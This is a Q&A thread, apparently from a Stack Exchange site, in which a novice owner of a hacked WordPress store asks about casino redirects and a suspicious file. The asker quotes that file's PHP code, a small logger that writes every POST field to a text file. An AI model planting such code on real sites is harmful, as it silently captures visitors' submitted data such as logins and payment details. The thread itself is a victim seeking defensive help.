-1

I was facing a hack

My website is not hosted on a server but shared hosting, If server is hacked I cannot do anything. My Question is not about how to safeguard the server, but is the below code is only file that should be removed or not, Is the below file is what allowed hack ?? how much does that code can alter my site. I don't have a hacked server but a hacked wordpress site please don't mark it duplicate. I want to safeguard wordpress if possible

what happened is that links were created with my domain as parent for example www.example.com/bellagio and this redirected to a casino site. I don't have a file or folder named bellagio and I certainly don't want to show a casino page.

Earlier it was hard to guess so I deleted each and every file in my wordpress site, I reloaded the account throgh hosting panel, I was going to do that again but then I found this file named " webftf67rty6t7fi7r6a.txt " and I am pretty sure I did not created it.

The code in the file seems a php code which is

<?php
$filename = "webftf67rty6t7fi7r6a.txt";
foreach($_POST as $key => $value)
{
    file_put_contents($filename, "$key: $value\n", FILE_APPEND);
}
file_put_contents($filename, "----------\n", FILE_APPEND);
?>

what more Should I look for, will removing this file will remove access of blocker ? should I check all folders for same file name/different file name ? Is it because I use godaddy ?

Is it for the code used to hack my site ? it was in wp-contents folder so how to prevent this from happening again ?

I run a ecommerce store so it needs to go and yes any detail what this hack can do at most ?

Thank you if you take time to answer my queries, I am novice at these things :(

rex purve
  • 7
  • 3
  • not server but a shared hosting but no hosting is not compromised, the wordpress site is and it happens every time i start fresh . There is a file and that file may be the entry point, is that file the entry point, does it point to a folder ? how much that file can alter ? – rex purve May 07 '15 at 14:52

1 Answers1

1

You should download & install - Command line interface for WordPress | WP-CLI

[alexus@j ~/alexus.org/wordpress]$ wp --version
WP-CLI 0.18.0
[alexus@j ~/alexus.org/wordpress]$ wp core verify-checksums
Success: WordPress install verifies against checksums.
[alexus@j ~/alexus.org/wordpress]$ 
alexus
  • 12,342
  • 27
  • 115
  • 173
  • i am sorry how this is helpful, i will surely get a command line later but for now is that file the one and only entry point or its just a normal file ? can i check that using CLI ? please be clear – rex purve May 07 '15 at 15:25